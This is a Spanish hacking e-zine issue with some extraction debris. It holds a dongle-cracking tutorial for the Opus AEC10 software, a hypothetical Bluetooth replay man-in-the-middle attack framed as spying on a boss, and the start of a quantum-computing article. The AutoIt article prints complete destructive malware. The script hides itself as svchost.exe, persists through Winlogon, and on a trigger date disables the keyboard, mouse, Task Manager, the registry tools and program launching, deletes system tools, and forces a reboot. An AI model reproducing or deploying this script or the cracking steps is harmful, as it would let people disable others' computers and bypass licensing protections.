Raza 021

“Desde que soy razo tengo shingos de viejas y dinero de a montón…” – montón…” – Autor

desconocido

>> Artículo Autor Editorial Tutorial Crack Opus AEC10 Atacando un equipo que se autentifica mediante Bluetooth en una WLAN Programación AutoIt v3 para inutilizar sistema si stema operativo Windows Mundo Cuántico – Qubit vs Bit Dirección IP RSA desde cero ADSL de Telmex Hacking a estacionamientos automatizados XSS (Cross Site Scripting) El lado humano: Part trois

STAFF DarkSide int_0x40

3 4 13

DarkSide

21

Netxing DeadSector erregebe int_0x40 beavis Netxing STAFF

23 27 32 40 46 47 51

<<

1 2 # a n a c i x e a z a R

DeadSector Fatal darko DarkSide Xytras data_gate Yo_Soy despise Netxing erregebe int_0x40 STAFF

Página

[email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]

“Desde que soy razo tengo shingos de viejas y dinero de a montón…” – montón…” – Autor

desconocido

>> Artículo Autor Editorial Tutorial Crack Opus AEC10 Atacando un equipo que se autentifica mediante Bluetooth en una WLAN Programación AutoIt v3 para inutilizar sistema si stema operativo Windows Mundo Cuántico – Qubit vs Bit Dirección IP RSA desde cero ADSL de Telmex Hacking a estacionamientos automatizados XSS (Cross Site Scripting) El lado humano: Part trois

STAFF DarkSide int_0x40

3 4 13

DarkSide

21

Netxing DeadSector erregebe int_0x40 beavis Netxing STAFF

23 27 32 40 46 47 51

<<


DeadSector Fatal darko DarkSide Xytras data_gate Yo_Soy despise Netxing erregebe int_0x40 STAFF

Página

[email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]

Por: STAFF ([email protected])

La edición de este nuevo número de la e-zine ha demorado más de lo que hubiésemos querido. Varios eventos coadyuvaron al inesperado retraso: exceso de trabajo, desveladas, mujeres, mundial de futbol y alguno que otro danonino, fueron los principales responsables. Tal y como pudieron notar aquellos que nos visitan con regularidad, en los últimos meses se han superado obstáculos para seguir online después de haber fallecido el viejo server. Dificultades con licencias, conexión, hosting y por supuesto, no podía faltar, con la publicación de esta revista. Pero ya sabemos y sobra decir que aquello que no nos destruye nos fortalece y eso se puede notar en las propuestas que se han ido cocinando para mejorar la página, los foros e incluso hacer otras innovaciones. Estén pendientes, que RMHT viene con aire renovado. Los cambios, que son siempre necesarios, siguen enfocados a continuar con esa tradición de abrir brecha. Podríamos seguir escribiendo decenas de renglones, quizás analizando los retos tecnológicos que se nos avecinan para sobrevivir en este país en plena narco guerra, verdadera guerra civil a opinión de algunos. Un país todavía con heridas recientes de una crisis económica mundial. O podríamos extendernos recordando páginas que ya han sido escritas en libros olvidados, cubiertos de polvo, escondidos en un rincón. Sin embargo hay necesidad de ser breves y concretos, con los piés firmes en el momento presente, sin perder la memoria ni quitar la vista en el porvenir. En este número haremos un recorrido comenzando por el crackeo del software mexicano de ingeniería de costos Opus AEC10, haciendo uso del debugger ollydbg para jugar con la dll user32; analizaremos un caso hipotético de MITM en el contexto de autenticación vía Bluetooth y Radius a un Punto de Acceso usando un Replay attack; echaremos un vistazo al programa Autoit para reconocer lo sencillo que puede ser automatizar la generación de código y dejar inutilizado un sistema Windows XP; después nos sumergiremos en la fascinante carrera para suplantar la computación clásica basada en Bit por la computación cuántica basada en Qubit; seguiremos con una explicación indispensable y no menos hilarante sobre cómo abordar el direccionamiento IP en una subred, sin perder la salida a internet en el intento; después veremos en detalle el Teorema de Euler como fundamento matemático del algoritmo de encriptación RSA, inventado por Ronald L. Rivest, Adi Shamir y Leonard Adleman en 1977; posteriormente haremos un recuento descriptivo del servicio ADSL que ofrece Telmex, su origen y características generales; detallaremos una posible técnica para hackear estacionamientos automatizados; mostraremos los alcances de un ataque XSS; para finalizar les traemos una entrega más de su apreciada sección de logs del canal razamex. 1 Así cerramos la edición número 21, stay tunned . 2 # a n a c i x << Regresar al índice e a z a R

Por: DarkSide ([email protected])

Opus AEC10 el software mexicano m exicano de ingeniería de costos más utilizado en el mundo, m undo, evoluciona y nos sirve para lo siguiente: Presupuestos basados en precios unitarios. Cuantificación y números generadores. Planeación y programación de actividades de obra. Licitaciones para obra pública o privada. Control de pagos (estimaciones y escalatorias). Administración de subcontratos y destajos. Manejo de almacén de obras (entradas y salidas) Recepción de requisiciones, cotización y surtido de materiales. ma teriales. Este programa cuenta con una protección Sentinel UltraPro Usb. Mochila o dongle en inglés es un pequeño dispositivo hardware que se conecta a un ordenador, normalmente, para autenticar un fragmento de software. Cuando la mochila no está conectada, dicho software se ejecuta en un modo restringido o directamente no se ejecuta. Las mochilas son usadas por algunos fabricantes de software como forma de prevención de copias o gestión de derechos digitales pues es mucho más difícil copiar la mochila que el software que ésta autentica. Generalmente las mochilas se conectan por USB o puerto paralelo Este tipo de dispositivos son usados frecuentemente en programas muy costosos y en software de nicho, como aplicaciones CAD, gestión de hospitales o impresión digital. En algunos casos la mochila está codificada con una clave de licencia específica por usuario, que determina qué características estarán habilitadas en el programa destino. Esta es una forma de licenciamiento muy controlado ya que permite al proveedor que su cliente dependa de sus servicios. (Rainbow Technologies) 1 Ya que hemos visto alguna información referente a la protección con la que cuenta nuestro 2 # programa que vamos analizar, empezaremos. a n a c Lo primero, abrimos el archivo opusw.exe en el ollydbg, lo dejamos correr y ver que pasa. i x e a z a R

El mensaje de error al no encontrar la pastilla. Sin cerrar el mensaje ponemos un breackpoint en destroywindow de user32. Buscamos la dll USER32.DLL, la seleccionamos y damos click derecho y "view names" o solo CTRL+N, nos aparecerá una ventana donde están las funciones de USER32, no será necesario ne cesario estar buscando el bpx, solo empiezan a teclear el nombre de la api a la que quieren poner el bpx, en este caso teclearemos "destroywindow" y solo ira filtrando entre las demás apis, pulsamos F2 para poner el bpx en la api.


Ya que hemos hecho lo anterior volvemos al programa y cerramos la ventana no deseada, automáticamente saltara el bpx que pusimos en USER32 en el olly, ahora quitamos el bpx y pulsamos CTRL+F9 para correr la aplicación hasta el próximo RET (esto viene siendo el fin de esa CALL) ya que llegamos al RET pulsamos F8 para salir de esa CALL, si aun no caemos en el modulo que estamos crackeando (programa) hacemos lo mismo CTRL+F9 y F8, así hasta llegar al modulo del programa o alguna dll del mismo programa, cuando llegamos a este modulo lo en la instrucción de arriba de donde llegaste debe ser una CALL que es la que mando destruir la ventana, de aquí en adelante usamos el sentido común, es decir si arriba no hay un salto condicional que salte esa call, pues trazaremos hasta salir de esa call y ver lo que hay afuera de ella, esto es "trazando hacia atrás", un ejemplo muy sencillo de lo que nos podemos encontrar llegando a un modulo del programa seria que arriba de la CALL que manda destruir la ventana estuviera un salto condicional que nos enviara líneas abajo de esa dll y caer en el call que mando el error.

Vamos a seguir de donde viene ese salto, y llegar hasta el origen, aquí esta la imagen de lo que nos da seguir el origen de ese salto.


Lo volvemos a correr con un bpx en el salto 00552430, y al saltar el olly nopearemos esa dirección ya que no queremos que salte jamás. Ahora nos sale que metamos el número del candado o algo así.

Usaremos la misma técnica de destroywindow, ponemos el bpx y después le damos aceptar.

Nos saldrá esta ventana de que la clave es incorrecta, le damos aceptar y nos saltara el bpx que hemos puesto en el olly, y de la misma forma iremos a donde nos esta mandando el error.

1 2 # a n a c i x Veamos si modificando el salto 004C3C66 al convertir en jmp, nos saltamos definitivamente el e - mensaje de la ventana de que la clave es incorrecta. a z a R

FUE UN ÉXITO, SÍ SE PUEDE!!!

Pero aun no terminamos, ya que cuando abrimos una obra nos vuelve a dar el mensaje de error.

Pero, volvemos a hacer la técnica de destroywindow, y volvemos a caer cerca de donde hicimos la primera modificación. y vemos que hay un salto que debería estar saltando y no lo esta haciendo, el salto lo vamos a convertir en jmp

1 2 # a Volvemos a correrlo y funciona bien, ya abre las obras y podemos crear también. n a c i x e a z a R

Este articulo es basando al tutorial realizado por Sanatas, que pertenece al grupo Sanatas Cracker Team y al cual le doy gracias. El tutorial que realizo Sanatas es sobre la Revisión 11-09-2006, yo solamente analicé los datos que daban referencia y los expuse para poder llevarlos acabo en la ultima Revisión 21-06-2008. Solamente falta encontrar las varias de las partes en donde les autoriza mandar a imprimir, que por cierto, ya no les va a salir la ventana de clave para imprimir ya que el salto que modificamos para el principio es el mismo call que usa en esa forma.


Así que solo nos saldrá clave inválida.

Hasta aquí Sanatas dejó el tutorial para que uno mismo fuera buscando los obstáculos que tiene el programa en algunas de sus opciones y no solamente a esperar a que nos dieran el crack. Estas son algunos de los obstáculos que quedaron pendientes. Backdoor_b mandó en el foro un reporte de bugs referentes al crack que habían realizado, para exponer los obstáculos que todavía estaban al momento de estar trabajando con el programa. En la Opción de "Ejecución", por ejemplo "Lista de Escalatorias" o "Lista de Estimaciones" sale una ventana de Dialogo donde pide la clave NEM.

y al ponerle cualquier cosa pues nos manda un mensaje que dice "La entrada al Modulo II de Opus Ole es incorrecta" y no nos deja entrar. Otro detalle de lo más importante es que cuando ya llevas 1 una cierta cantidad de Datos introducidos en cualquier obra, en determinado momento no te deja 2 # agregar mas conceptos y manda la 2 siguientes ventanas una después de aceptar la primera. a n a c i x e a z a R

Estas ventanas ya no te saldrán mas, ya que en alguna parte ya realizamos una modificación que nos salta esta rutina. Solamente vayan a Obra, Abrir, Buscar obra, y en el directorio de opusaec10 en el directorio de Obras les debe aparecer "Ejemplo Opus" y pues la seleccionan y eso es todo, escojan la sección de Catálogos y traten de añadir Materiales, o cualquier cosa y verán lo que les digo. Los primeros pasos del tutorial les serán de gran ayuda para poder encontrar estos obstáculos al querer trabajar con el programa control.exe, ya que trae las mismas secuencias al iniciar.


Ya es solo cuestión de cada uno para poder seguir los pasos que se han dejado anteriormente para continuar buscando los obstáculos y poder ir aprendiendo poco a poco. Espero que les sean de utilidad esta información para que vayan aprendiendo y no solamente esperar a que personas terceras realicen un crack para poder pedirlo y perder ese momento de poder aprender nuevas cosas uno mismo al estar buscando e investigando. Mando un cordial saludo a los integrantes del Grupo Sanatas Cracker Team y todos los grupos y personas que dan un tiempo para dar a conocer algunos tips o trucos al sacar tutoriales y manuales donde paso a paso van dando esas explicaciones que ayudan mucho a todas estas personas que van aprendiendo, ya que uno nunca nace sabiendo.

REFERENCIAS _________________________________________________

http://es.wikipedia.org/wiki/Mochila_(dispositivo) http://ecosoft.com.mx http://www.sanatas.com/vb << Regresar al índice 1 2 # a n a c i x e a z a R

Por: int_0x40 ([email protected])

Supongamos que Pepito trabaja en una empresa. En esa empresa hay una WLAN. Su queridísimo jefe Carlitos se conecta a esa WLAN regularmente cada mañana a unos metros usando el celular y la laptop que la empresa regala a los directivos más selectos. Hace tiempo que Carlitos le hace la vida difícil a Pepito, simplemente por haberse hecho novio de una secretaria de muy buenos bigotes acechada por aquél.

Como sea, Pepito se ha podido dar cuenta que las tecnologías y dispositivos que utilizan en la empresa para la autenticación no verifican la legitimidad, integridad y tiempo de vida de los mensajes intercambiados por Bluetooth y RADIUS. Tal vez por no querer gastar en actualizaciones o en un estudio de robustez de la WLAN.

Entonces se le ocurre un día la idea de que hipotéticamente hablando (como situación de estudio) sería enteramente posible realizar un ataque a una víctima que se conectara mediante un dispositivo, digamos una laptop, a una WLAN y se autentificara vía Bluetooth-EAP con otro dispositivo, por ejemplo un teléfono celular que use una tarjeta SIM. El celular se autentificaría a través de un servidor RADIUS que conectaría a la WLAN en una red basada en IP con DHCP y NAT.


¿Se podría lograr que la laptop de la víctima se conectara a un punto de acceso WLAN fraudulento aprovechándose de esa falta de verificación en los paquetes intercambiados al autenticarse? ¿Eso podría lograrse efectuando una copia de los datos intercambiados en la autenticación entre el móvil y la computadora portátil de la víctima; el servidor RADIUS y el Punto de Acceso legítimo? ¿Re-utilizando los paquetes con las claves de autenticación podríamos poner un A P falso en medio (MITM) al que se autenticara la víctima? ¿Podría así Pepito hacerse de información comprometedora de su jefe que fuera de interés para la esposa de éste? Para ello debería tener a la mano antes que nada un dispositivo capaz de escuchar por un lado paquetes de Bluetooth en modo monitor y de retransmitir otros falsificados para hacer creer a la víctima que se autentica con un AP legítimo.

Además para que Pepito pudiera realizar este ataque también tendría que partir de la consideración de un escenario en donde la laptop sería el dispositivo esclavo en la conexión Bluetooth, el teléfono móvil el maestro y el dispositivo atacante que ayudaría a hacer el MITM forzaría la sincronización entre maestro y esclavo. Además el móvil y el Servidor de Autentificación (AS) implementarían el método de autentificación EAP-AKA (probablemente sirviera también para el EAP-SIM). Tanto el AS como el móvil intercambiarían dos claves: una del UMTS para cifrado e integridad de claves y otra del tipo MSK (Master Session Key) del maestro1. Por último se consideraría además que el atacante podría haber comprometido al menos un punto de acceso (AP) para obtener la MSK 2 y para montar el MITM.

Así, resumiendo: Pepito debería tener claro que tenemos una laptop la cual requiere acceso a una dirección IP a través de una infraestructura WLAN con DHCP y NAT. La autentificación se proveerá por un teléfono celular que se enlaza a la laptop vía Bluetooth. La autorización se lleva a cabo por un servidor que autentifica y comunica con el AP de la WLAN en el contexto de una red basada en IP. El atacante requiere de un dispositivo de Bluetooth que intercepte la comunicación entre el móvil de la víctima, la laptop y el AP de la WLAN legítima.

La MSK es usada como clave encriptada de la conexión Bluetooth-WLAN. Ésta es transmitida por el AS al AP de la WLAN usando un protocolo triple A como RADIUS 3. Suponemos que la comunicación entre el AS y el AP está debidamente protegida usando TLS o IPSec. El celular transmite la MSK a la laptop usando un protocolo inespecífico sobre Bluetooth.

Considerando eso, el ataque consistiría en lo siguiente:

En la primera parte Pepito registraría y grabaría la sesión de enlace Bluetooth durante la cual Carlitos mandó con su teléfono celular la MSK a su laptop. Pepito obtendría la MSK al haber comprometido el AP usado por Carlitos. En la segunda parte Pepito forzaría la laptop de Carlitos para que usara la MSK obtenida simulando la sesión previamente grabada en la primera parte. Como resultado de eso, la laptop de Carlitos se conectaría despistadamente al AP de Pepito que 1 usa la MSK obtenida antes. 2

# a n 1 a Para más de este tema: “EAP AKA Authentication” de J. Arkko y H. Haverinen, Internet Draft, draft -arkko c i x pppext-eapaka-11.txt y “EAP Key Management Framework” de Aboba, B. Internet Draft, draft-ietf-eap e - keying-02). a z a 2 R Comprometer un AP se aparta del propósito de la presente historia. 3

3GPP Technical Specification Group Service and Systems Aspects

Veámoslo en detalle: describimos que Pepito registraría y grabaría la sesión de enlace Bluetooth entre el móvil y la laptop de Carlitos. Inicialmente uno y otra se autentificarían mutuamente vía el Link Management Protocol (LMP). El teléfono celular, que es el maestro envía un mensaje LMP au_rand RAND1 a la laptop. La laptop procesa una respuesta RES1 y la envía de vuelta al móvil usando un mensaje LMP sres. De forma similar la laptop realiza el proceso de autentificación del móvil enviando un RAND2 y verificando la respuesta recibida RES2. Entonces el móvil (que es el maestro) inicia la encriptación Bluetooth mandando un start_encryption que contiene un número semi-aleatorio EN_RAND. Posteriormente el móvil y el AS se reconocen usando la autenticación EAP4. El primero envía un mensaje EAP de identity_resp al AS que indica la identidad IMSI de la tarjeta contenida en el celular. Entonces el AS envía de vuelta un mensaje de confirmación AKA_RAND y una muestra AUTN de autenticación para la red. El celular verifica la muestra, procesa una respuesta RES y la manda de regreso al AS usando un mensaje AKA_resp.

Finalmente, el móvil y el Servidor de Autentificación (AS) procesan la clave maestra de la sesión (MSK). La MSK es transmitida por el AS al Punto de acceso (AP) de la WLAN en un mensaje RADIUS access_accept. El dispositivo telefónico transmite la clave MSK a la laptop usando un mensaje encriptado por Bletooth. Entonces la laptop y el AP intercambian datos ecriptados usando MSK a través de un enlace WLAN.

Toda esa sesión es la que habría registrado y copiado Pepito desde una locación cercana. Ahora veamos cómo la reproduciría para forzar a la laptop para que vuelva a utilizar la misma MSK que previamente se obtuvo, pero con el propósito de que la víctima se conecte a un AP falso que se pondrá en el medio.


Inicialmente, el dispositivo de Pepito y la laptop de Carlitos se autentificarían mutuamente como lo explicamos arriba. Pepito primero mandaría un RAND1 grabado y recibiría la respuesta RES1 de la laptop de Carlitos. Después ésta mandaría un RAND3 al dispositivo de Pepito que lo redirige al móvil. Éste procesa la respuesta RES3 mandándola a Pepito que a su vez la redirige a la laptop. Pepito iniciaría la encriptación usando el mismo mensaje con el número semi-aleatorio EN_RAND grabado previamente y luego reproduciría la secuencia de autentificación EAP que la laptop de Carlitos simplemente contestaría al AP de WLAN controlado por Pepito. Los mensajes EAP no serían redirigidos por el AP de Pepito. Finalmente éste mandaría un mensaje a la laptop conteniendo la clave MSK grabada con anterioridad y el Bluetooth encriptado. Carlitos mandaría todos sus datos al AP WLAN de Pepito pensando que se ha conectado a una red de confianza. Los

4

H. Haverinen, J. Salowey, ”EAP SIM Authentication”, draft -haverinen-pppext-eap-sim-12.txt.

datos que intercambiara con sus amantes o chicas de la oficina acosadas serían comprometidos: conversaciones MSN, POP3, etc.

El procedimiento podría funcionar para aprovechar ciertas versiones de Bluetooth, arquitecturas y servidores de autenticación inalámbrica utilizadas por empresas que no proveen ninguna forma de verificación de la integridad, origen legítimo y caducidad de los mensajes cuando se lleva a cabo el proceso de autentificación para conectarse a una WLAN. De forma similar a como ocurre en la auditoria de redes WIFI con cifrado WPA-WPA2 a través de la captura de paquetes que contienen el HAND SHAKE; podemos darnos cuenta de la posibilidad de que un atacante pueda grabar y reutilizar paquetes encriptados Bluetooth-RADIUS para hacer un MITM con un AP falso. La única diferencia sería que en el caso de WPA-WPA2 se pretende crackear la clave, mientras que en nuestro caso es re-inyectar los paquetes copiados con las claves obtenidas, que se tomarán como legítimos en el proceso de autenticado.

En un país como el de Pepito donde se ha hecho común que algunas empresas privadas e instituciones públicas pidan a sus empleados autenticarse en la WLAN por esta vía, con dispositivos y tecnologías que no garantizan seguridad suficiente o que no se han actualizado, sería más que probable que alguien curioso pudiese llegar a robarle la información a sus confiados jefes (algo que por supuesto no estamos recomendando).

No detallamos ni el OS utilizado por el atacante, ni la lista de dispositivos empleados por atacante o víctima, ni el tipo y versión de herramientas para captura e inyección de paquetes que se pueden usar en esta técnica por la enorme cantidad de adolescentes antojadizos que andan por ahí. Otras Referencias:

- Cisco Security Advisory, “SNMP Trap Reveals WEP Key in Cisco Aironet Access Point”, http://www.cisco.com//warp/public/707/cisco-sa-20031202-SNMP-trap.shtml.

1 2 # - Specification of the Bluetooth System, version 2.1. a n a c i x e << Regresar al índice a z a R

Por: DarkSide ([email protected])

Antes de empezar, con esta pequeña secuencia de programación utilizando el programa AutoIt para facilitarnos el trabajo, le daremos una revisada a una introducción y breve historia de la evolución que a dado este programa a su fecha

Introducción AutoIt es cada vez más popular en el campo de la administración del sistema como una herramienta para automatizar las tareas administrativas. Aunque se trata de uno de sus más populares usos, se puede usar para automatizar AutoIt nada en un entorno de Windows. Este potente lenguaje de script puede ejecutar cualquier programa y manipular el teclado entrada y el ratón. RunAs con su apoyo, los administradores pueden realizar sin vigilancia instalación y configuración de centrales cambios incorporados mediante administrativa privilegios.

Breve Historia AutoIt iniciado a finales de 1998 como un programa compilado en C utilizado para automatizar las pulsaciones de teclado durante instalaciones de software. En enero de 1999, el equipo de AutoIt liberó AutoIt v1, la que incluyó, Send , Run, RunWait, WinWait, WinWaitClose, WinWaitActive, WinHide, WinActivate, WinClose, WinRestore, Sleep y SetKeyDelay funciones.


AutoIt v2 se publicó en agosto de ese mismo año e incluyó la primera versión de AutoItX, que ofrece DLL / COM de control. En los próximos dos años, actualizaciones masivas a AutoIt v2 añadido muchas nuevas funciones a la lengua. En mayo de 2001, el código fuente de AutoIt fue completamente reescrito en C++ y el desarrollo se estancó hasta que De 2003, cuando la primera versión beta de AutoIt v3 fue liberado. Más de 100 versiones beta más tarde, los desarrolladores liberaron AutoIt v3 en febrero de 2004. De febrero de 2005 marcó el lanzamiento de AutoIt v3.1.0, que añade la capacidad de los gráficos interfaz de usuario (GUI) de su creación. Esta versión es más notable al ser liberada, porque AutoIt trajo a la vanguardia del mundo de secuencias de comandos, e hizo un rival a Visual Basic Scripting, archivos por lotes, y otros populares lenguajes de scripting.

Utilidades Autoit Koda http://koda.darkhost.ru/page.php?id=download Es un diseñador de la forma visual de la herramienta de secuencias de comandos Autoit3. SciTE - http://www.autoitscript.com/autoit3/scite/ Es un editor de texto basado en Scintilla (www.scintilla.org). Originalmente construido para demostrar Scintilla, ha crecido hasta convertirse en un editor de utilidad general con instalaciones para la construcción y ejecución de programas. SciTE4AutoIt3 contiene SciTE, envuelto en un único instalador con todos los ajustes de configuración necesarios y muchos de los programas de utilidad como Tidy, Obfuscator, AU3Check, guionista, etc AutoIt3Wrapper a SciTE mejorado para su uso con AutoIt3. AutoIt es libre de usar y tiene una fuerte base comunitaria y de ayuda. Ahora si que hemos visto una pequeña reseña de la evolución del programa AutoIt, podemos empezar a ver las cosas que queremos automatizar y poder generar el código que nos servirá para llevar acabo nuestra meta, que es esta ocasión seria la de dejar inutilizado el sistema de XP utilizando sus fácil programación. Les recomiendo le den una revisada al archivo de ayuda que trae el AutoIt al momento de instalarse, ya que trae varias referencias a comandos que pueden ser utilizados para generar diferentes tareas o también pueden bajar el Ebook de O’Reilly AutoIt v3 your quick guide y con esas ayudas poder darles una ayuda mas para generar mas secuencias que ustedes vean necesarias. Aquí solamente haré mención de un código que les puede ser de utilidad para poder darse una idea y ustedes ya sobre la marcha pueden ir generando mas códigos para los que se propongas realizar, ya que en los ultimas fechas se han liberado varios códigos de virus que se han sido programados con el AutoIt. @UserProfileDir


hace referencia al directorio del perfil del usuario actual. Por defecto es C:\Documents and Settings\[- usuario_actual -] (Windows NT/2000/XP). @SystemDir hace referencia al directorio del sistema de Windows.Por defecto es C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), o C:\Windows\System32 (Windows XP).

@WindowsDir hace referencia al directorio de instalación de Windows. Por defecto es C:\Windows (Windows 95/98/Me/XP) o C:\Winnt (Windows NT/2000). @UserName hace referencia al ID del usuario actualmente conectado. @MDAY hace referencia del Día del mes actual y su rango es de 01 a 31 @MON hace referencia al Mes en curso y su rango es de 01 a 12 @ScriptFullPath hace referencia al Directorio que contiene la secuencia de comandos en ejecución. (Los resultados no contienen una barra invertida) Desactivar Modo Seguro o Modo a Prueba de Fallos RegDelete("HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot") DirRemove Borra un directorio o carpeta. RegDelete Elimina una clave o valor del registro. ( regedit ) RegWrite Crea una clave o valor en el Registro.. ( regedit ) FileDelete 1 2 # a n a c i x e a z a R

Eliminar uno o más archivos. FileSetAttrib Establece los atributos de uno o más archivos. No Visualizar icono al ejecutarse Revisar si el archivo se encuentra ya o si no se copia a la dirección que escojamos.

Ya revisado o copiado el archivo, ponerle los atributos de +RSH Escribir en el regedit la secuencia para que al iniciarse el sistema realice su código. #NoTrayIcon If @ScriptFullPath <> @windowsdir & "\svchost.exe" Then FileCopy(@ScriptFullPath, @windowsdir & "\svchost.exe") FileSetAttrib(@windowsdir & "\svchost.exe","+RSH") RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "REG_SZ", "Explorer.exe, C:\WINDOWS\svchost.exe") EndIf $MON = @MON $MDAY = @MDAY if $MON = 12 And $MDAY >= 26 Then DirRemove("C:\Documents and Settings\"& @UserName &"\Configuración local\Datos de programa\Identities\", 1) DirRemove("C:\Documents and Settings\"& @UserName &"\Configuración local\Datos de programa\IM\Identities\", 1) RegDelete("HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot") RegWrite("HKLM\System\CurrentControlSet\Services\Kbdclass", "Start", "REG_DWORD", "00000004") RegWrite("HKLM\System\CurrentControlSet\Services\Mouclass", "Start", "REG_DWORD", "00000004") RegWrite("HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR", "Start", "REG_DWORD", "00000004") 1 2 # a n a c i x e a z a R

RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "00000001") RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "00000001") RegWrite("HKCU\Software\Policies\Microsoft\Windows\System", "DisableCMD", "REG_DWORD", "00000001")

RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives", "REG_DWORD", "67108863") RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoRun", "REG_DWORD", "00000001") RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", "00000001") RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "EnforceShellExtensionSecurity", "REG_DWORD", "00000001") RegWrite("HKCR\batfile\shell\open\command", "", "REG_SZ", "") RegWrite("HKCR\exefile\shell\open\command", "", "REG_SZ", "") RegWrite("HKCR\regfile\shell\open\command", "", "REG_SZ", "") FileDelete( @windowsdir & "\regedit.exe") FileDelete( @systemdir & "\WScript.exe") FileDelete( @systemdir & "\cscript.exe") DllCall("user32.dll","int","SendMessage","hwnd",$HWND,"int",$WM_SYSCommand,"int",$SC_Mo nitorPower,"int",$Power_Off) Shutdown(6) ;Force a reboot Else Exit EndIf

Con esta pequeña probadita de algunos poco comandos, se podrán dar a la idea de todo lo que se pueda explorar en dicha programación sencillísima y que nos puede ayudar en muchas cosas, tanto para el bien o el mal.

1 2 # Espero sea de su agrado estos artículos y puedan ir indagando en el mundo de la programación. a n a c i x Referencias e a z O’Reilly AutoIt v3 Your Quick Guide.Pdf a R

Downloads AutoIt v3.3.0.0 Liberado el 24 de Diciembre 2008 http://www.autoitscript.com/autoit3/downloads.php

Le recomiendo usar el Editor SciTE AutoIt3 para la escritura de guiones. Tiene una amplia archivo de ayuda y los códigos de color todo bien. Puede descargar la última SciTE Editor AutoIt3 aquí: http://www.autoitscript.com/autoit3/scite/downloads.php Ebook O’Reilly AutoIt v3 Your Quick Guide. Pdf

Guia para AutoIt v3.2.4.9, publicado el 25 de mayo de 2007. http://rapidshare.com/files/129125467/AutoIt_v3-_Your_Quick_Guide.pdf

The Dark Side of Your Mind. << Regresar al índice


Por: Netxing ([email protected])

No existe, ni existirá, un cifrado 100% seguro; si de alguna forma u otra la interacción humana se presenta para la recuperación, creación o distribución de algún tipo de clave.

Idea General La noticia desde Viena, Austria, en Octubre del 2009, donde se probaba por primera vez un envió de datos por fibra óptica y cifrados de manera cuántica, excitaba a muchos seguidores de las últimas tecnologías, sabiendo que esta investigación llevo aproximadamente cuatro lar gos años de estudio, para poder tener una maqueta moldeada llamada SECOQC, la cual es pagado por varios países socios del viejo continente. Se creó una red con seis nodos y ocho enlaces intermedios situados entre sí, a una distancia de 6 y 82 Km utilizando fibra óptica, haciendo uso de seis tipos diferentes de cifrados cuánticos que generaban las claves. Pero como se esperaba, un día después se da a conocer la noticia de que el algoritmo McEliece había sido crackeado, en menos de ocho días con aproximadamente 200 ordenadores, haciendo referencia a un ataque conocido como “in formation-set decoding” utilizando el algoritmo Stern, pero no solo este ataque afecta a este algoritmo, sino también a Niederreiter quedaba desnudo antes de terminar el ciclo inicial. Esto llega a afectar directamente la creencia que se tenía del algoritmo McEliece, un candidato idóneo escogido para utilizarlo en las comunicaciones, pero como todo algoritmo puede mejorar su seguridad si se aumenta el tamaño de las claves como lógica, pero a la llegada de las computadoras cuánticas por la velocidad en los cálculos seria uno de tantos algoritmos mandado a la caja de obsoletos.

Introducción Qué tan ficticio puede llegar a ser lo cuántico, que hasta grandes científicos llegan a un punto donde establecen que la creación de una computadora cuántica deja de ser viable, por tantos y 1 tantos problemas que se enfrentan, al tratar de manejar información sobre esta nueva rama 2 # tecnológica. a n a c i x e a z a R

La computación cuántica va relacionada con la necesidad de suplantar de alguna manera, o completamente a la computación clásica. Se conoce que la computación clásica llegara a un límite en la que los chips no podrán reducirse hasta un límite donde los electrones no se escapen de los canales de circulación, conocido este problema como el efecto túnel.

La computación cuántica en sí, es la forma de representar los conocimientos de toda una historia de evolución de una manera trascendental, llega a ser el principio de un límite clásico; este mismo limite nos lleva al inicio de poner a prueba todo el estudio científico y tecnológico para controlar la información de una manera donde varias ciencias como la física cuántica o los fundamentos de la mecánica cuántica tomaran el control de una manera diferente de manejar la información.

Qubit es la unidad mínima en la computación cuántica, la diferencia entre un bit y un qubit es que el bit solo puede almacenar un valor, ya sea ‘0’ o ‘1’. Por otro lado un qubit es ortogonal, esto significa que un solo qubit puede estar en diferentes estados ortogonales, esto sería { |0〉 , |1〉 }.

La codificación densa es el proceso donde los qubits se pueden utilizar para poder transmitir información clásica, esto sería que por cada qubit que se transmite se pueden utilizarían dos bits clásicos para el envió de la información.

Una de las cosas importantes de lo cuántico es que puede utilizar la teleportación cuántica, es la idea de poder transmitir qubits sin enviar qubits, esto se realiza combinando la información por medio de bits clásicos.

Algoritmos cuánticos En la computación cuántica existen varios algoritmos de origen clásico, que nos sirven para tareas sumamente básicas, como para descomponer factores (Shor) y búsqueda (Grover). La importancia de estos algoritmos es tal vez el motor principal para todos los investigadores, ya que el algoritmo de Shor por ejemplo tiende a gran medida a poder hacer operaciones de descomposición de factores muy rápidamente, esto significa que problemas como algún mensaje cifrado en RSA puede ser descifrado descomponiendo en factores la llave pública, que con la computación clásica se tardarían décadas en poder solucionar o simplemente sería imposible, mientras tanto que usando este algoritmo con computación cuántica, tardaría solo minutos y con un rango alto de probabilidad. 1 2 # a n Ventajas de un cifrado cuántico a c i x e - La importancia de un cifrado cuántico radica en la forma de manejar los exponentes en las a z operaciones, esto significa que es su fuerza principal está en realizar los cálculos a velocidades a R

sorprendentes, esto también implica que muchos cifrados de la actualidad podrán verse de

manera contundente afectados o pasaran a ser inservibles si la computación cuántica llega a ser una realidad.

